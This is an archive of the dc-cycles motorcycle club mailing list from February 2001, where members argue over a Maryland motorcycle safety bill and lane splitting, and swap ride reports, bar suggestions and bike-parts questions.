6 Feb 2001 16:59:14 EST > >In a message dated 2/6/01 8:53:19 AM Eastern Standard Time, >perrycoleman@XXXXXX writes: > > > > . The amputee, dwarf, birth defect > > stuff is just noise that you're throwing in. At least be honest about >your > > opposition to the law. If you see it as unnecessary intrusion into > > indivdual > > rights, then fight it on those grounds. If you see it as the first step >on > > the slippery slope of more legislation, then fight it on those grounds. > > Don't try and fool me with this amputee stuff. > > >I'm surprised that you assume the amputee, dwarf and birth defect issues >are >noise. Families with these problems/circumstances testified in Cryor last >meeting. > >Bill Gawthrop >Maryland > >"I may disagree with what you have to say, but I shall defend, to the >death, your right to say it." Voltaire (1694-1778) > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Tue Feb 6 18:09:39 2001 Return-Path: Received: from imo-d08.mx.aol.com (imo-d08.mx.aol.com [205.188.157.40]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16N9bP29335 for ; Tue, 6 Feb 2001 18:09:38 -0500 (EST) Received: from MJordan666@XXXXXX by imo-d08.mx.aol.com (mail_out_v29.5.) id 2.d6.208498b (3735) for ; Tue, 6 Feb 2001 18:09:20 -0500 (EST) From: MJordan666@XXXXXX Message-ID: Date: Tue, 6 Feb 2001 18:09:20 EST Subject: Re: How a tow-truck saves my skin To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_d6.208498b.27b1de20_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 10505 --part1_d6.208498b.27b1de20_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Mercifully that bar exists or else the nice little knife edge of the bed Glad that you're OK - and that is precicely why that bar exists - it's not a tow bar Michael J. --part1_d6.208498b.27b1de20_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit Mercifully that bar exists or else the nice little knife edge of the bed
would have sliced into the car but good

Glad that you're OK - and that is precicely why that bar exists - it's not a
tow bar

Michael J. --part1_d6.208498b.27b1de20_boundary-- From dc-cycles-request Tue Feb 6 18:26:20 2001 Return-Path: Received: from imo-d04.mx.aol.com (imo-d04.mx.aol.com [205.188.157.36]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16NQJP29534 for ; Tue, 6 Feb 2001 18:26:19 -0500 (EST) Received: from Gawthrop@XXXXXX by imo-d04.mx.aol.com (mail_out_v29.5.) id i.25.10faed23 (4325); Tue, 6 Feb 2001 18:26:06 -0500 (EST) From: Gawthrop@XXXXXX Message-ID: <25.10faed23.27b1e20e@aol.com> Date: Tue, 6 Feb 2001 18:26:06 EST Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety To: perrycoleman@XXXXXX, Gawthrop@XXXXXX, dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_25.10faed23.27b1e20e_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 344 --part1_25.10faed23.27b1e20e_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/6/01 5:53:45 PM Eastern Standard Time, perrycoleman@XXXXXX writes: > > If that's all you've got, then I imagine that this law will pass with > little > I understand your concerns and I understand your sense of fatalism in cases like these. That where riders rights organizations step in. Bill Gawthrop Maryland "I may disagree with what you have to say, but I shall defend, to the death, your right to say it." Voltaire (1694-1778) --part1_25.10faed23.27b1e20e_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/6/01 5:53:45 PM Eastern Standard Time,
perrycoleman@XXXXXX writes:


If that's all you've got, then I imagine that this law will pass with
little
difficulty.



I understand your concerns and I understand your sense of fatalism in cases
like these.  That where riders rights organizations step in.
Bill Gawthrop
Maryland

"I may disagree with what you have to say, but I shall defend, to the
death, your right to say it."   Voltaire (1694-1778)
--part1_25.10faed23.27b1e20e_boundary-- From dc-cycles-request Tue Feb 6 18:52:54 2001 Return-Path: Received: from web5202.mail.yahoo.com (web5202.mail.yahoo.com [216.115.106.170]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f16NqgP29915 for ; Tue, 6 Feb 2001 18:52:42 -0500 (EST) Message-ID: <20010206235239.7461.qmail@web5202.mail.yahoo.com> Received: from [165.247.97.235] by web5202.mail.yahoo.com; Tue, 06 Feb 2001 15:52:39 PST Date: Tue, 6 Feb 2001 15:52:39 -0800 (PST) From: Corbett B Subject: Re: DC Ride / Asylum To: DC Cycles In-Reply-To: <20010205140834.14589.qmail@web117.yahoomail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Asylum? Yeah, it's a dive - an eclectic mix of local bikers and bicycle couriers (leather meets lycra)...you might even find that some of the bartenders turn wrenches at local motorcycle shops. Good place, a little small..and though you can view the bikes parked outside via video camera - the "unofficial" motorcycle parking area is confined to how ever many bikes you can fit into about 2 1/2 car parking spaces. On a warm Spring night..those spaces can fill up quickly. Another good dive in Adams Morgan is Dan's Cafe next to The Brass Monkey...though parking in front of the place is nonexistent. Chi Cha Lounge (Florida/U St.)is a interesting place to hang out for a drink..the place is full of overstuffed chairs on wheels and in the Spring the windows are open to the sidewalk so you can eyeball your bike as well as passersby.. -Corbet '99 BMW K1200RS w/NEW 2 Bros Racing Titanium exhaust system Grrrowl. > --- Mark Kitchell wrote: > > Another bar idea (I think we should mix it up) is > > Asylum. Asylum is DC's only real biker bar, with > > little bit of parking on 18th Street and even a > > video > > camera to watch your bike while you are at the > bar. __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Tue Feb 6 21:45:27 2001 Return-Path: Received: from imo-r02.mx.aol.com (imo-r02.mx.aol.com [152.163.225.2]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f172jQP02460 for ; Tue, 6 Feb 2001 21:45:27 -0500 (EST) Received: from ScooterFZR@XXXXXX by imo-r02.mx.aol.com (mail_out_v29.5.) id i.dc.1fc9d6a (3952); Tue, 6 Feb 2001 21:45:02 -0500 (EST) From: ScooterFZR@XXXXXX Message-ID: Date: Tue, 6 Feb 2001 21:45:02 EST Subject: Re: DC Ride To: deusman@XXXXXX, ScooterFZR@XXXXXX, daniel_ex250@XXXXXX CC: dc-cycles@XXXXXX, dccycles2@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 127 In a message dated 2/6/2001 5:33:29 PM Eastern Standard Time, deusman@XXXXXX writes: << I'm working on everything for this ride guys.. I'm preparing route maps, dates, times and all that good stuff.. All suggestions welcome.. I'm waiting for the weather to warm up a little before chosing a date. Anyone with a digital camera willing to take a few photos? Maybe Laura can get them on the page.. Hold tight guys/gals and we'll get this off the ground.. >> Amateur photographer with a digital camera at work that I can borrow anytime. Just let me know when and where. :-) Scooter (2000 YZF-R6 R/W/B) From dc-cycles-request Wed Feb 7 08:22:27 2001 Return-Path: Received: from hotmail.com (f67.pav1.hotmail.com [64.4.31.67]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17DMQP11213 for ; Wed, 7 Feb 2001 08:22:26 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 7 Feb 2001 05:22:14 -0800 Received: from 151.200.109.94 by pv1fd.pav1.hotmail.msn.com with HTTP; Wed, 07 Feb 2001 13:22:14 GMT X-Originating-IP: [151.200.109.94] From: "Todd Peer" To: dc-cycles@XXXXXX Subject: Re: dc-cycles digest for 02/06/01 Date: Wed, 07 Feb 2001 08:22:14 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 07 Feb 2001 13:22:14.0861 (UTC) FILETIME=[FC8367D0:01C09108] Date: Tue, 6 Feb 2001 08:41:28 -0800 (PST) From: Justin Stefanon Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety To: Perry Coleman , dcbike True. Griping at politicians about laws intended to protect us gives them the impression that we are senseless nuts, thereby reinforcing their notion that we need protection from ourselves. Or it might raise perfectly good questions in their minds about a particular position they prize. We should strive to put forth a public face of sensibility. Then we would be in a position to demand the rights we deserve as people who prefer to utilize a fuel-efficient and space-efficient means of transportation. Most of the North American public (U.S.A.) thinks you are a "senseless nut" for riding a motorcycle. Why don't you serve the public interest and stop riding? They are willing to pucker up to bicyclists, because there's nothing scary about bicycles and guys in shorts. That's a matter of opinion. If we had that kind of consideration from our legislators then we would be splitting lanes and filtering at stops like we should. "Should" implies we have some right to filter, etc.. We don't. Education is your best bet. The reason we as motorcyclists have to deal with poor legislation or the threat of it is due to the alarmist attitudes of those that would write it and their equally alarmist constituency. Knowledge about things feared tends to make the fear disappear. For those of us who do like to ride like senseless nuts from time to time, we know that it is best done in remote locations anyhow, and not in the public eye. P.S. Bicyclists: I'm also a bicyclist, so don't get mad at me. You know we look goofy. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Wed Feb 7 08:25:55 2001 Return-Path: Received: from hotmail.com (f27.law7.hotmail.com [216.33.237.27]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17DPrP11227 for ; Wed, 7 Feb 2001 08:25:54 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 7 Feb 2001 05:25:45 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Wed, 07 Feb 2001 13:25:45 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety Date: Wed, 07 Feb 2001 08:25:45 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 07 Feb 2001 13:25:45.0391 (UTC) FILETIME=[79FFBBF0:01C09109] Bill, Don't break your arm patting yourself on your back. I also see representatives from organizations like ABATE making fools of themselves, and by extension all riders, by making silly arguments in an attempt to fight legislation. Of course, I also see them accept stupid compromises, like requiring massive insurance just so that they can ride without a helmet. Never mind that the long term impact that kind of legislation can have. Even the AMA disagrees with that kind of compromise. Perry >From: Gawthrop@XXXXXX >To: perrycoleman@XXXXXX, Gawthrop@XXXXXX, dc-cycles@XXXXXX >Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety >Date: Tue, 6 Feb 2001 18:26:06 EST > >In a message dated 2/6/01 5:53:45 PM Eastern Standard Time, >perrycoleman@XXXXXX writes: > > > > > If that's all you've got, then I imagine that this law will pass with > > little > > > > >I understand your concerns and I understand your sense of fatalism in cases >like these. That where riders rights organizations step in. >Bill Gawthrop >Maryland > >"I may disagree with what you have to say, but I shall defend, to the >death, your right to say it." Voltaire (1694-1778) > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Wed Feb 7 08:34:52 2001 Return-Path: Received: from hotmail.com (f30.pav1.hotmail.com [64.4.31.30]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17DYnP11377 for ; Wed, 7 Feb 2001 08:34:50 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 7 Feb 2001 05:34:40 -0800 Received: from 151.200.109.94 by pv1fd.pav1.hotmail.msn.com with HTTP; Wed, 07 Feb 2001 13:34:40 GMT X-Originating-IP: [151.200.109.94] From: "Todd Peer" To: dc-cycles@XXXXXX Subject: Re: dc-cycles digest for 02/06/01 Date: Wed, 07 Feb 2001 08:34:40 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 07 Feb 2001 13:34:40.0275 (UTC) FILETIME=[B8D08E30:01C0910A] Very nice write up Dale! I believe this is the first time we've ever been privileged with your eloquence in a ride report. I liked it. Todd >Date: Tue, 06 Feb 2001 16:18:13 -0500 >From: Dale Horstman >Subject: Lunch run (long) >To: Horkster >X-Accept-Language: en > >Friends, > >Hope you enjoy. I don't normally write about >trips this short, but this one was special. > >Horkster > >-- > >I took a little spin during lunch today. Weather here in >Northern Virginia has been pretty rough this winter, with >all the cold and snow (it snowed just yesterday) conspiring >with work and family to seriously restrict my recreational >riding this time of year. I could still ride back and >forth to work most days, but I hadn't been able to really >*ride* for weeks. > >Anyway, on this early-February midweek lunch break, things >would be different. The sun was trying to peek out, the >temps were hovering in the mid 40s, this was one of the >nicer days I've seen in a while. I decided I needed miles Mission accomplished. >As if to congratulate me on my success, the Sun, peeking >to and fro from the clouds all day, finally came out >for good, and smiled on me the rest of the trip back. >The electrics can be switched off, for I've got all the >Warmth I need now. > >I didn't make it the whole way out to the hills that were >calling me today, but I got close enough to say 'Hi'. They >will still be there for me next time. I continue on, take >the exit for the office, and end up back in the parking >garage, 1 hour 10 minutes after I left, with 86.3 miles >showing on the trip-meter. > >So what did you do for lunch today? Tomorrow I might go >out for a burger, or a salad, but for today, I decided >to nourish the soul. > >Horkster _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Wed Feb 7 09:10:41 2001 Return-Path: Received: from hotmail.com (f4.law7.hotmail.com [216.33.237.4]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17EAdP11873 for ; Wed, 7 Feb 2001 09:10:40 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 7 Feb 2001 06:10:30 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Wed, 07 Feb 2001 14:10:30 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: combat_tourer@XXXXXX, dc-cycles@XXXXXX Subject: RE: Cryor bill Date: Wed, 07 Feb 2001 09:10:30 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 07 Feb 2001 14:10:30.0836 (UTC) FILETIME=[BAA61F40:01C0910F] Todd, I don't think anyone's advocating just rolling over and not doing anything to prevent this legislation from passing. Personally, I'd like to see someone from a responsible organization prepare a rational argument and present it in a professional fashion to the legislature. Historically, that doesn't seem to happen often. And as for the general public's impression of us riders, I agree with you. However, I don't belive that we have to accept (and reinforce) those beliefs. We can rise above the perceptions - to those that are willing to see. With some, it won't matter what we do, how we dress, or how we act - they've bought into the whole Hollywood biker stereotype. Others will respond favorably to us when we act in a responsible fashion. You mention education, rightly so. But everytime we're out and about, we have the opportunity to educate the public. Do we demonstrate good things, or bad things? When our so-called "representatives" show up at a public hearing, or the State legislature, do we feel proud, or do we cringe? As for formal education, considering the overall quality (or lack thereof) I see in drivers these days, I think we've got WAY bigger education problems, than just worrying about bikers. And I won't even get into the lack of education, in the general sense... However, we do make wonderful scapegoats. And there is a sizeable percentage of riders (both at the "crotch rocket" and "easy rider" extremes) that continue to encourage the legislature to use us as scapegoats. I think I've said about all I want to say on this matter. I'll leave it in the hands of our "representatives" for now. Perry >From: "Todd Peer" >To: dc-cycles@XXXXXX >Subject: Re: dc-cycles digest for 02/06/01 >Date: Wed, 07 Feb 2001 08:22:14 -0500 > >Date: Tue, 6 Feb 2001 08:41:28 -0800 (PST) >From: Justin Stefanon >Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety >To: Perry Coleman , dcbike > > >True. >Griping at politicians about laws intended to protect >us gives them the impression that we are senseless >nuts, thereby reinforcing their notion that we need >protection from ourselves. > > Or it might raise perfectly good questions in their minds about > a particular position they prize. > >We should strive to put forth a public face of sensibility. Then we would >be >in a position to demand the rights we deserve as people who prefer to >utilize a fuel-efficient and space-efficient means of transportation. > > > Most of the North American public (U.S.A.) thinks you are > a "senseless nut" for riding a motorcycle. Why don't you > serve the public interest and stop riding? > >They are willing to pucker up to bicyclists, because there's nothing scary >about bicycles and guys in shorts. > > That's a matter of opinion. > >If we had that kind of consideration from our legislators then we would be >splitting lanes and filtering at stops like we should. > > "Should" implies we have some right to filter, etc.. We don't. > Education is your best bet. The reason we as motorcyclists have > to deal with poor legislation or the threat of it is due to the > alarmist attitudes of those that would write it and their equally > alarmist constituency. Knowledge about things feared tends to make > the fear disappear. > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Wed Feb 7 09:46:56 2001 Return-Path: Received: from web902.mail.yahoo.com (web902.mail.yahoo.com [128.11.23.77]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f17EkrP12399 for ; Wed, 7 Feb 2001 09:46:54 -0500 (EST) Received: (qmail 6246 invoked by uid 60001); 7 Feb 2001 14:46:50 -0000 Message-ID: <20010207144650.6245.qmail@web902.mail.yahoo.com> Received: from [207.192.134.198] by web902.mail.yahoo.com; Wed, 07 Feb 2001 06:46:50 PST Date: Wed, 7 Feb 2001 06:46:50 -0800 (PST) From: Justin Stefanon Subject: Re: dc-cycles digest for 02/06/01 To: Todd Peer , dcbike In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii > > Or it might raise perfectly good questions in > their minds about > a particular position they prize. > That's something that a sensible argument may do, however, I was referring to "griping". This does not imply the presence of a sensible argument. > We should strive to put forth a public face of > sensibility. Then we would be > in a position to demand the rights we deserve as > people who prefer to > utilize a fuel-efficient and space-efficient means > of transportation. > > > Most of the North American public (U.S.A.) thinks > you are > a "senseless nut" for riding a motorcycle. Why > don't you > serve the public interest and stop riding? > We serve the public interest by riding, whether we or the public realize this. Most of the aforementioned public thinks it is sensible to watch up to three hours of television, too. Yes, I know you're kidding. > They are willing to pucker up to bicyclists, because > there's nothing scary > about bicycles and guys in shorts. > > That's a matter of opinion. Definitely. However, their willingness to aid bicyclists is documented and physical evidence exists of their ability to follow through. They recognize that bicycling, from a civic standpoint, is a nearly ideal form of individual transportation (except for the scrotal discomfort thing which I've found affects productivity). What they should recognize is that motorcycles are much closer to that ideal than cages. I've never seen a motorcycle lane anywhere, but even backwater hick pennsylvania towns have bicycle lanes, I have never, as a bicyclist, actually had a politician offer kiss my pucker, nor do I think I would allow that. If anyone is afraid of bicyclists, that person is in serious need of psychiatric help. Then again, there was a story about a Peace Corps volunteer who killed the chief of his village by spearing him with a helmet. Perhaps bicycles are scary after all. > > If we had that kind of consideration from our > legislators then we would be > splitting lanes and filtering at stops like we > should. > > "Should" implies we have some right to filter, > etc.. We don't. ?? "Should" implies that we don't have the right to do it, but ought to. If we had the right we would. Most of us know that there is little hazard to anyone but ourselves whin splitting and filtering. Most of us see the available space on the road that we could easily use in a safe manner. To most of us, the only reason we don't do these things is old blue himself. Nobody knows the realities of motorcycling as well as we. I surmise that most of us would approve of leglislation allowing splitting and filtering. I think it is sensible to demand that these be our rights, which we could choose to use at our discretion. As it stands, the choice is made for us. My hypothesis is that the reason we do not have rights that I feel we should is because legislators fear that twitty BDC's would perceive our behavior as chaotic and lose their minds, killing us in the process. Or some similar nonsense. Which puts me firmly in agreement with your next point: > Education is your best bet. The reason we as > motorcyclists have > to deal with poor legislation or the threat of it > is due to the > alarmist attitudes of those that would write it > and their equally > alarmist constituency. Knowledge about things > feared tends to make > the fear disappear. > True dat! > For those of us who do like to ride like senseless > nuts from time to time, we know that it is best done > in remote locations anyhow, and not in the public > eye. > > P.S. Bicyclists: I'm also a bicyclist, so don't get > mad at me. You know we look goofy. > > > _________________________________________________________________ > Get your FREE download of MSN Explorer at > http://explorer.msn.com > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Wed Feb 7 10:01:00 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17F0xP12623 for ; Wed, 7 Feb 2001 10:01:00 -0500 (EST) Received: from 66-44-44-71.s71.tnt3.lnhdc.md.dialup.rcn.com ([66.44.44.71] helo=pawilson) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14QW5W-0001Os-00 for dc-cycles@XXXXXX; Wed, 07 Feb 2001 10:00:55 -0500 Message-ID: <007b01c09116$c5c98400$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: Subject: Re: dc-cycles digest for 02/06/01 Date: Wed, 7 Feb 2001 10:00:05 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 ----- Original Message ----- From: Todd Peer > Date: Tue, 6 Feb 2001 08:41:28 -0800 (PST) > From: Justin Stefanon > Griping at politicians about laws intended to protect > us gives them the impression that we are senseless > nuts, thereby reinforcing their notion that we need > protection from ourselves. > > Or it might raise perfectly good questions in their minds about > a particular position they prize. > ...... > They are willing to pucker up to bicyclists, because there's nothing scary > about bicycles and guys in shorts. > > That's a matter of opinion. > As for people and politicians "puckering up" to bicyclists, you'd be surprised. Every time a bike path is proposed NIMBYs start screaming about property values as if those lycra clad bicyclists all are criminals and are going to come marauding through the neighborhood. There are plenty of motorists who are loath to share the road with a bicyclist. As long as licensed motorcyclists make up about 2% (roughly 5 million out of 280 million) of the American population we are going to face hostility and indifference. I believe the focus should be on individual rights and responsibilities, which every American ought to understand, rather than the "special pleading" of a minority group. Paul in DC From dc-cycles-request Wed Feb 7 11:08:44 2001 Return-Path: Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17G8hP13558 for ; Wed, 7 Feb 2001 11:08:43 -0500 (EST) Received: from 66-44-45-83.s337.tnt3.lnhdc.md.dialup.rcn.com ([66.44.45.83] helo=pawilson) by smtp02.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14QX95-0001DE-00 ; Wed, 07 Feb 2001 11:08:40 -0500 Message-ID: <002301c09120$3d0829a0$bb82fea9@pawilson> From: "Paul Wilson" To: "Justin Stefanon" Cc: "dc-cycles list" References: <20010207154345.820.qmail@web901.mail.yahoo.com> Subject: Re: dc-cycles digest for 02/06/01 Date: Wed, 7 Feb 2001 11:05:35 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 ----- Original Message ----- From: Justin Stefanon > > > Doubtless the increase in national bike-lane mileage > correlates to the rise in popularity of bicycles. Interestingly bicycle use by adults is up, while use by children is way down. Seems they're becoming couch potatoes in environments not conducive to bicycle use by children. In some places kids are banned from riding bikes to school. Another reason for the proliferation of bike lanes is due to ISTEA, the Intermodal Surface Transportation Efficiency Act and its successor TEA-21, which fundamentally changed the way federal highway funds are doled out to the states. States must spend 10% of major project dollars on non-highway infrastructure. Many state DOTs built bike paths and bike lanes as an easy way to fulfill this requirement. Commuter trains also received a big boost in funding for infrastructure projects and both VRE and MARC in the DC area have benefited as a result. CMAQ, Congestion Mitigation and Air Quality, (IIRC) funds are another way non-highway transportation projects got a big boost in the 90s. Paul in DC From dc-cycles-request Wed Feb 7 11:28:13 2001 Return-Path: Received: from web903.mail.yahoo.com (web903.mail.yahoo.com [128.11.23.78]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f17GSBP13811 for ; Wed, 7 Feb 2001 11:28:11 -0500 (EST) Received: (qmail 13751 invoked by uid 60001); 7 Feb 2001 16:28:06 -0000 Message-ID: <20010207162806.13750.qmail@web903.mail.yahoo.com> Received: from [207.192.134.198] by web903.mail.yahoo.com; Wed, 07 Feb 2001 08:28:06 PST Date: Wed, 7 Feb 2001 08:28:06 -0800 (PST) From: Justin Stefanon Subject: Fargin ancient moto To: dcbike MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Anybody know offhand the ph# of a NOVA suzuki dealer's parts department? I need to find out how much the stuff that broke will cost, so I know how much I don't want to buy a new one. thanks, Justin Stefanon __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Wed Feb 7 11:38:32 2001 Return-Path: Received: from imo-r08.mx.aol.com (imo-r08.mx.aol.com [152.163.225.8]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17GcVP14080 for ; Wed, 7 Feb 2001 11:38:31 -0500 (EST) Received: from Gawthrop@XXXXXX by imo-r08.mx.aol.com (mail_out_v29.5.) id i.34.1091dec3 (661); Wed, 7 Feb 2001 11:37:57 -0500 (EST) From: Gawthrop@XXXXXX Message-ID: <34.1091dec3.27b2d3e5@aol.com> Date: Wed, 7 Feb 2001 11:37:57 EST Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety To: perrycoleman@XXXXXX, dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_34.1091dec3.27b2d3e5_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 344 --part1_34.1091dec3.27b2d3e5_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit I surprised at the personal shots, as well. Why? Bill Gawthrop Maryland "I may disagree with what you have to say, but I shall defend, to the death, your right to say it." Voltaire (1694-1778) --part1_34.1091dec3.27b2d3e5_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit I surprised at the personal shots, as well.  Why?

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"I may disagree with what you have to say, but I shall defend, to the
death, your right to say it."   Voltaire (1694-1778)
--part1_34.1091dec3.27b2d3e5_boundary-- From dc-cycles-request Wed Feb 7 11:50:21 2001 Return-Path: Received: from hotmail.com (f41.law7.hotmail.com [216.33.237.41]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17GoJP14278 for ; Wed, 7 Feb 2001 11:50:20 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 7 Feb 2001 08:50:11 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Wed, 07 Feb 2001 16:50:11 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety Date: Wed, 07 Feb 2001 11:50:11 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 07 Feb 2001 16:50:11.0855 (UTC) FILETIME=[096199F0:01C09126] Bill, You're the one who made the glib comment about amputees, etc. If you feel that you're taking personal shots, perhaps it's because I perceive that individuals making that sort of argument/comment are more likely to CAUSE increased legislation than reduce it. Perry p.s. I do agree with the Voltaire quote, even still. >From: Gawthrop@XXXXXX >To: perrycoleman@XXXXXX, dc-cycles@XXXXXX >Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety >Date: Wed, 7 Feb 2001 11:37:57 EST > >I surprised at the personal shots, as well. Why? > >Bill Gawthrop >Maryland > >"I may disagree with what you have to say, but I shall defend, to the >death, your right to say it." Voltaire (1694-1778) > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Wed Feb 7 11:51:12 2001 Return-Path: Received: from imo-d05.mx.aol.com (imo-d05.mx.aol.com [205.188.157.37]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f17GpAP14298 for ; Wed, 7 Feb 2001 11:51:10 -0500 (EST) Received: from Gawthrop@XXXXXX by imo-d05.mx.aol.com (mail_out_v29.5.) id i.48.112a9e40 (661); Wed, 7 Feb 2001 11:50:53 -0500 (EST) From: Gawthrop@XXXXXX Message-ID: <48.112a9e40.27b2d6ed@aol.com> Date: Wed, 7 Feb 2001 11:50:53 EST Subject: Re: Cryor bill To: perrycoleman@XXXXXX, combat_tourer@XXXXXX, dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_48.112a9e40.27b2d6ed_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 344 --part1_48.112a9e40.27b2d6ed_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/7/01 9:12:05 AM Eastern Standard Time, perrycoleman@XXXXXX writes: > Personally, I'd like to see > someone from a responsible organization prepare a rational argument and > present it in a professional fashion to the legislature. Historically, that > doesn't seem to happen often. And as for the general public's impression of > us riders, I agree with you. Perry brings up a point worth discussing. The request he makes is a sound one: he'd like to see someone from a responsible organization prepare a rational argument and present it in a professional fashion to the legislature. That's being done. But if there is a perception by anyone that that isn't being done, we welcome constructive input on how to do it better. Which brings us back to Perry's comment: can anyone else prepare a rational argument that we can use? Bill Gawthrop Maryland "I may disagree with what you have to say, but I shall defend, to the death, your right to say it." Voltaire (1694-1778) --part1_48.112a9e40.27b2d6ed_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/7/01 9:12:05 AM Eastern Standard Time,
perrycoleman@XXXXXX writes:


Personally, I'd like to see
someone from a responsible organization prepare a rational argument and
present it in a professional fashion to the legislature. Historically, that
doesn't seem to happen often. And as for the general public's impression of
us riders, I agree with you.


Perry brings up a point worth discussing.  The request he makes is a sound
one: he'd like to see someone from a responsible organization prepare a
rational argument and present it in a professional fashion to the legislature.

That's being done. But if there is a perception by anyone that that isn't
being done, we welcome constructive input on how to do it better.  Which
brings us back to Perry's comment: can anyone else prepare a rational
argument that we can use?


Bill Gawthrop
Maryland

"I may disagree with what you have to say, but I shall defend, to the
death, your right to say it."   Voltaire (1694-1778)
